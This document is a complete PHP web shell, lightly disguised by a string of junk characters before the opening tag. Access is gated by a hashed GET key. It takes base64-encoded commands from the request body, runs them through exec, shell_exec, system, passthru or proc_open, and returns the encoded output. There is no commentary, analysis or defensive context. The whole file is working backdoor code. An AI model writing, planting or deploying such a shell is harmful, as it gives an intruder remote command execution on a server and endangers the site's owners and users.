%k25u25%fgd5n!?%k25u25%fgd5n!%k25u25%fgd5n!?%k25u25%fgd5n!<?php if(isset($_GET['k'])&&@md5(@base64_decode($_GET['k']))==='e75acb27171300d9b9470c44ec4c1fc6'){function t($t){return(@trim($t," \n\r\t"));}function p($c){$d=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$p=@proc_open($c,$d,$s);if(is_resource($p)){$o=@stream_get_contents($s[1]);@fclose($s[0]);@fclose($s[1]);@fclose($s[2]);@proc_close($p);return $o;}return false;}function f($f){return(@function_exists($f)===@in_array($f,@array_diff(array('exec','shell_exec','system','passthru','proc_open'),(($g=@ini_get('disable_functions'))!==false?@explode(',',$g):array()))));}echo '#!#';$c=@base64_decode(@file_get_contents('php://input'));if($c!==false){@ob_start();if(f('exec')&&@exec($c,$r)!==false)$o=t(@implode(PHP_EOL,$r));elseif(f('shell_exec')&&($r=@shell_exec($c))!==false)$o=t(($r===null?'':$r));elseif((f('system')&&($r=@system($c))!==false)||(f('passthru')&&($r=@passthru($c))!==false)){$o=t(@ob_get_contents());@ob_end_clean();}elseif(f('proc_open')&&($r=p($c))!==false)$o=t($r);else echo('EXEC_ERROR');if(isset($o)&&!empty($o))echo(@base64_encode($o));}else echo 'REQUEST_ERROR';echo '#$#';}else echo('AUTH_ERROR');?>